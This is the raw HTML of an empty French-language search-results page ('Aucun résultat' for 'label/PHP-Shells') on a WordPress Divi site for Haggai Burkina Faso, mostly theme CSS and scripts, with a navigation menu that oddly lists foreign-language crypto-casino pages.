h1{display:none}.et_pb_no_bg{padding:0!important}.et_overlay.et_pb_inline_icon:before,.et_pb_inline_icon:before{content:attr(data-icon)}.et_pb_more_button{color:inherit;text-shadow:none;text-decoration:none;display:inline-block;margin-top:20px}.et_parallax_bg_wrap{overflow:hidden;position:absolute;top:0;right:0;bottom:0;left:0}.et_parallax_bg{background-repeat:no-repeat;background-position:top;background-size:cover;position:absolute;bottom:0;left:0;width:100%;height:100%;display:block}.et_parallax_bg.et_parallax_bg__hover,.et_parallax_bg.et_parallax_bg_phone,.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient__hover,.et_parallax_gradient.et_parallax_gradient_phone,.et_parallax_gradient.et_parallax_gradient_tablet,.et_pb_section_parallax_hover:hover .et_parallax_bg:not(.et_parallax_bg__hover),.et_pb_section_parallax_hover:hover .et_parallax_gradient:not(.et_parallax_gradient__hover){display:none}.et_pb_section_parallax_hover:hover .et_parallax_bg.et_parallax_bg__hover,.et_pb_section_parallax_hover:hover .et_parallax_gradient.et_parallax_gradient__hover{display:block}.et_parallax_gradient{bottom:0;display:block;left:0;position:absolute;right:0;top:0}.et_pb_module.et_pb_section_parallax,.et_pb_posts_nav a.et_pb_section_parallax,.et_pb_tab.et_pb_section_parallax{position:relative}.et_pb_section_parallax .et_pb_parallax_css,.et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:fixed}body.et-bfb .et_pb_section_parallax .et_pb_parallax_css,body.et-bfb .et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:scroll;bottom:auto}.et_pb_section_parallax.et_pb_column .et_pb_module,.et_pb_section_parallax.et_pb_row .et_pb_column,.et_pb_section_parallax.et_pb_row .et_pb_module{z-index:9;position:relative}.et_pb_more_button:hover:after{opacity:1;margin-left:0}.et_pb_preload .et_pb_section_video_bg,.et_pb_preload>div{visibility:hidden}.et_pb_preload,.et_pb_section.et_pb_section_video.et_pb_preload{position:relative;background:#464646!important}.et_pb_preload:before{content:"";position:absolute;top:50%;left:50%;background:url(http://haggai-bf.org/wp-content/themes/Divi/includes/builder/styles/images/preloader.gif) no-repeat;border-radius:32px;width:32px;height:32px;margin:-16px 0 0 -16px}.box-shadow-overlay{position:absolute;top:0;left:0;width:100%;height:100%;z-index:10;pointer-events:none}.et_pb_section>.box-shadow-overlay~.et_pb_row{z-index:11}body.safari .section_has_divider{will-change:transform}.et_pb_row>.box-shadow-overlay{z-index:8}.has-box-shadow-overlay{position:relative}.et_clickable{cursor:pointer}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;word-wrap:normal!important}.et_multi_view_hidden,.et_multi_view_hidden_image{display:none!important}@keyframes multi-view-image-fade{0%{opacity:0}10%{opacity:.1}20%{opacity:.2}30%{opacity:.3}40%{opacity:.4}50%{opacity:.5}60%{opacity:.6}70%{opacity:.7}80%{opacity:.8}90%{opacity:.9}to{opacity:1}}.et_multi_view_image__loading{visibility:hidden}.et_multi_view_image__loaded{-webkit-animation:multi-view-image-fade .5s;animation:multi-view-image-fade .5s}#et-pb-motion-effects-offset-tracker{visibility:hidden!important;opacity:0;position:absolute;top:0;left:0}.et-pb-before-scroll-animation{opacity:0}header.et-l.et-l--header:after{clear:both;display:block;content:""}.et_pb_module{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.et-waypoint:not(.et_pb_counters){opacity:0}@media (min-width:981px){.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module:last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module:last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}}@media (max-width:980px){.et_overlay.et_pb_inline_icon_tablet:before,.et_pb_inline_icon_tablet:before{content:attr(data-icon-tablet)}.et_parallax_bg.et_parallax_bg_tablet_exist,.et_parallax_gradient.et_parallax_gradient_tablet_exist{display:none}.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient_tablet{display:block}.et_pb_column .et_pb_module{margin-bottom:30px}.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_row .et_pb_column .et_pb_module:last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}.et_pb_more_button{display:inline-block!important}.et_pb_bg_layout_light_tablet.et_pb_button,.et_pb_bg_layout_light_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_light_tablet .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_tablet .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_tablet h1,.et_pb_bg_layout_light_tablet h2,.et_pb_bg_layout_light_tablet h3,.et_pb_bg_layout_light_tablet h4,.et_pb_bg_layout_light_tablet h5,.et_pb_bg_layout_light_tablet h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_tablet.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_tablet{color:#666!important}.et_pb_bg_layout_dark_tablet,.et_pb_bg_layout_dark_tablet h1,.et_pb_bg_layout_dark_tablet h2,.et_pb_bg_layout_dark_tablet h3,.et_pb_bg_layout_dark_tablet h4,.et_pb_bg_layout_dark_tablet h5,.et_pb_bg_layout_dark_tablet h6{color:#fff!important}.et_pb_bg_layout_dark_tablet.et_pb_button,.et_pb_bg_layout_dark_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_tablet .et_pb_more_button{color:inherit}.et_pb_bg_layout_dark_tablet .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-tablet{text-align:left}.et_pb_module.et_pb_text_align_center-tablet{text-align:center}.et_pb_module.et_pb_text_align_right-tablet{text-align:right}.et_pb_module.et_pb_text_align_justified-tablet{text-align:justify}}@media (max-width:767px){.et_pb_more_button{display:inline-block!important}.et_overlay.et_pb_inline_icon_phone:before,.et_pb_inline_icon_phone:before{content:attr(data-icon-phone)}.et_parallax_bg.et_parallax_bg_phone_exist,.et_parallax_gradient.et_parallax_gradient_phone_exist{display:none}.et_parallax_bg.et_parallax_bg_phone,.et_parallax_gradient.et_parallax_gradient_phone{display:block}.et-hide-mobile{display:none!important}.et_pb_bg_layout_light_phone.et_pb_button,.et_pb_bg_layout_light_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_light_phone .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_phone .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_phone h1,.et_pb_bg_layout_light_phone h2,.et_pb_bg_layout_light_phone h3,.et_pb_bg_layout_light_phone h4,.et_pb_bg_layout_light_phone h5,.et_pb_bg_layout_light_phone h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_phone.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_phone{color:#666!important}.et_pb_bg_layout_dark_phone,.et_pb_bg_layout_dark_phone h1,.et_pb_bg_layout_dark_phone h2,.et_pb_bg_layout_dark_phone h3,.et_pb_bg_layout_dark_phone h4,.et_pb_bg_layout_dark_phone h5,.et_pb_bg_layout_dark_phone h6{color:#fff!important}.et_pb_bg_layout_dark_phone.et_pb_button,.et_pb_bg_layout_dark_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_phone .et_pb_more_button{color:inherit}.et_pb_module .et_pb_bg_layout_dark_phone.et_pb_button{color:#fff!important}.et_pb_bg_layout_dark_phone .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-phone{text-align:left}.et_pb_module.et_pb_text_align_center-phone{text-align:center}.et_pb_module.et_pb_text_align_right-phone{text-align:right}.et_pb_module.et_pb_text_align_justified-phone{text-align:justify}}@media (max-width:479px){a.et_pb_more_button{display:block}}@media (min-width:768px) and (max-width:980px){[data-et-multi-view-load-tablet-hidden=true]:not(.et_multi_view_swapped){display:none!important}}@media (max-width:767px){[data-et-multi-view-load-phone-hidden=true]:not(.et_multi_view_swapped){display:none!important}}.et_pb_menu.et_pb_menu--style-inline_centered_logo .et_pb_menu__menu nav ul{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}@-webkit-keyframes multi-view-image-fade{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(1.01);transform:scale(1.01);opacity:1}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}
/*# sourceURL=divi-style-parent-inline-inline-css */
</style>
<link rel='stylesheet' id='divi-dynamic-css' href='http://haggai-bf.org/wp-content/et-cache/search/et-divi-dynamic.css?ver=1780281739' media='all' />
<link rel='stylesheet' id='divi-style-css' href='http://haggai-bf.org/wp-content/themes/Divi-child/style.css?ver=4.27.6' media='all' />
<link rel="https://api.w.org/" href="https://haggai-bf.org/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://haggai-bf.org/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.0" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" /><link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF-150x150.png" sizes="32x32" />
<link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<meta name="msapplication-TileImage" content="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<link rel="stylesheet" id="et-divi-customizer-global-cached-inline-styles" href="http://haggai-bf.org/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1780281736" /></head>
<body class="search search-no-results wp-custom-logo wp-theme-Divi wp-child-theme-Divi-child et_pb_button_helper_class et_fixed_nav et_show_nav et_primary_nav_dropdown_animation_fade et_secondary_nav_dropdown_animation_fade et_header_style_left et_pb_footer_columns4 et_cover_background et_pb_gutter et_pb_gutters3 et_right_sidebar et_divi_theme et-db">
	<div id="page-container">

	
	
			<header id="main-header" data-height-onload="66">
			<div class="container clearfix et_menu_container">
							<div class="logo_container">
					<span class="logo_helper"></span>
					<a href="https://haggai-bf.org/">
						<img src="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" width="931" height="742" alt="HAGGAI BURKINA FASO" id="logo" data-height-percentage="54" />
					</a>
				</div>
							<div id="et-top-navigation" data-height="66" data-fixed-height="40">
											<nav id="top-menu-nav">
													<ul id="top-menu" class="nav">
																	<li ><a href="https://haggai-bf.org/">Accueil</a></li>
								
								<li class="page_item page-item-844"><a href="https://haggai-bf.org/bitcoin-jatszani-fiokellenorzes-utmutato/">Bitcoin játszani – fiókellenőrzés útmutató</a></li>
<li class="page_item page-item-840"><a href="https://haggai-bf.org/bitcoin-kasino-v-ceske-republice-kompletni-pruvodce-bonusy-rychle-vybery-a-bezpecnost/">Bitcoin kasino v České republice – kompletní průvodce, bonusy, rychlé výběry a bezpečnost</a></li>
<li class="page_item page-item-838"><a href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/">BTC hrát: aplikace a mobilní průvodce</a></li>
<li class="page_item page-item-469"><a href="https://haggai-bf.org/canli-casino-siteleri-2026-en-iyi-ve-guvenilir-casino-listesi/">Canlı Casino Siteleri 2026 &#8211; En İyi ve Güvenilir Casino Listesi</a></li>
<li class="page_item page-item-832"><a href="https://haggai-bf.org/casino-bitcoin-guia-paso-a-paso-para-registrarte-e-iniciar-sesion/">Casino Bitcoin: guía paso a paso para registrarte e iniciar sesión</a></li>
<li class="page_item page-item-847"><a href="https://haggai-bf.org/crypto-casino-europe-review-bonuses-payments-mobile-guide-for-dutch-players/">Crypto Casino Europe Review – Bonuses, Payments &#038; Mobile Guide for Dutch Players</a></li>
<li class="page_item page-item-239"><a href="https://haggai-bf.org/magyar-casino-online-fiokellenorzes-lepesei-praktikus-utmutato/">Magyar casino online fiókellenőrzés lépései – Praktikus útmutató</a></li>
<li class="page_item page-item-41"><a href="https://haggai-bf.org/nous-contacter/">Nous contacter</a></li>
<li class="page_item page-item-828"><a href="https://haggai-bf.org/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a></li>
<li class="page_item page-item-826"><a href="https://haggai-bf.org/pin-up-casino-az-rbaycanda-onlayn-kazino-pin-up/">Pin Up Casino &#8211; Azərbaycanda onlayn kazino Pin-Up</a></li>
<li class="page_item page-item-821"><a href="https://haggai-bf.org/pin-up-casino-onlayn-az-rbaycan/">Pin Up Casino Onlayn Azərbaycan</a></li>
									<li class="cat-item cat-item-11"><a href="https://haggai-bf.org/category/public/">public</a>
</li>
							</ul>
												</nav>
					
					
					
											<div id="et_top_search">
							<span id="et_search_icon"></span>
						</div>
					
					<div id="et_mobile_nav_menu">
				<div class="mobile_nav closed">
					<span class="select_page">Sélectionner une page</span>
					<span class="mobile_menu_bar mobile_menu_bar_toggle"></span>
				</div>
			</div>				</div> <!-- #et-top-navigation -->
			</div> <!-- .container -->
						<div class="et_search_outer">
				<div class="container et_search_form_container">
					<form role="search" method="get" class="et-search-form" action="https://haggai-bf.org/">
					<input type="search" class="et-search-field" placeholder="Rechercher &hellip;" value="label/PHP-Shells" name="s" title="Rechercher:" />					</form>
					<span class="et_close_search_field"></span>
				</div>
			</div>
					</header> <!-- #main-header -->
			<div id="et-main-area">
	
<div id="main-content">
	<div class="container">
		<div id="content-area" class="clearfix">
			<div id="left-area">
		<div class="entry">
	<h1 class="not-found-title">Aucun résultat</h1>
	<p>La page demandée est introuvable. Essayez d&#039;affiner votre recherche ou utilisez le panneau de navigation ci-dessus pour localiser l&#039;article.</p>
</div>
			</div>

					</div>
	</div>
</div>


			<footer id="main-footer">
				

		
				<div id="footer-bottom">
					<div class="container clearfix">
				<ul class="et-social-icons">

	<li class="et-social-icon et-social-facebook">
		<a href="#" class="icon">
			<span>Facebook</span>
		</a>
	</li>
	<li class="et-social-icon et-social-twitter">
		<a href="#" class="icon">
			<span>X</span>
		</a>
	</li>
	<li class="et-social-icon et-social-instagram">
		<a href="#" class="icon">
			<span>Instagram</span>
		</a>
	</li>
	<li class="et-social-icon et-social-rss">
		<a href="https://haggai-bf.org/feed/" class="icon">
			<span>RSS</span>
		</a>
	</li>

</ul><div id="footer-info">Design JRB XSolutions |  (c) 2025 HAGGAI BURKINA FASO</div>					</div>
				</div>
			</footer>
		</div>


	</div>

	<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/Divi-child/*","/wp-content/themes/Divi/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="jquery-core-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="jquery-js-after">
jqueryParams.length&&$.each(jqueryParams,function(e,r){if("function"==typeof r){var n=String(r);n.replace("$","jQuery");var a=new Function("return "+n)();$(document).ready(a)}});
//# sourceURL=jquery-js-after
</script>
<script id="divi-custom-script-js-extra">
var DIVI = {"item_count":"%d Item","items_count":"%d Items"};
var et_builder_utils_params = {"condition":{"diviTheme":true,"extraTheme":false},"scrollLocations":["app","top"],"builderScrollLocations":{"desktop":"app","tablet":"app","phone":"app"},"onloadScrollLocation":"app","builderType":"fe"};
var et_frontend_scripts = {"builderCssContainerPrefix":"#et-boc","builderCssLayoutPrefix":"#et-boc .et-l"};
var et_pb_custom = {"ajaxurl":"http://haggai-bf.org/wp-admin/admin-ajax.php","images_uri":"http://haggai-bf.org/wp-content/themes/Divi/images","builder_images_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/images","et_frontend_nonce":"1ba54686f7","subscription_failed":"Veuillez v\u00e9rifier les champs ci-dessous pour vous assurer que vous avez entr\u00e9 les informations correctes.","et_ab_log_nonce":"6e1a125dd2","fill_message":"S'il vous pla\u00eet, remplissez les champs suivants:","contact_error_message":"Veuillez corriger les erreurs suivantes :","invalid":"E-mail non valide","captcha":"Captcha","prev":"Pr\u00e9c\u00e9dent","previous":"Pr\u00e9c\u00e9dente","next":"Prochaine","wrong_captcha":"Vous avez entr\u00e9 le mauvais num\u00e9ro dans le captcha.","wrong_checkbox":"Case \u00e0 cocher","ignore_waypoints":"no","is_divi_theme_used":"1","widget_search_selector":".widget_search","ab_tests":[],"is_ab_testing_active":"","page_id":"","unique_test_id":"","ab_bounce_rate":"","is_cache_plugin_active":"yes","is_shortcode_tracking":"","tinymce_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors","accent_color":"#7EBEC5","waypoints_options":[]};
var et_pb_box_shadow_elements = [];
//# sourceURL=divi-custom-script-js-extra
</script>
<script id="divi-custom-script-js" src="http://haggai-bf.org/wp-content/themes/Divi/js/scripts.min.js?ver=4.27.6"></script>
<script id="fitvids-js" src="http://haggai-bf.org/wp-content/themes/Divi/includes/builder/feature/dynamic-assets/assets/js/jquery.fitvids.js?ver=4.27.6"></script>
<script id="et-core-common-js" src="http://haggai-bf.org/wp-content/themes/Divi/core/admin/js/common.js?ver=4.27.6"></script>
</body>
</html>
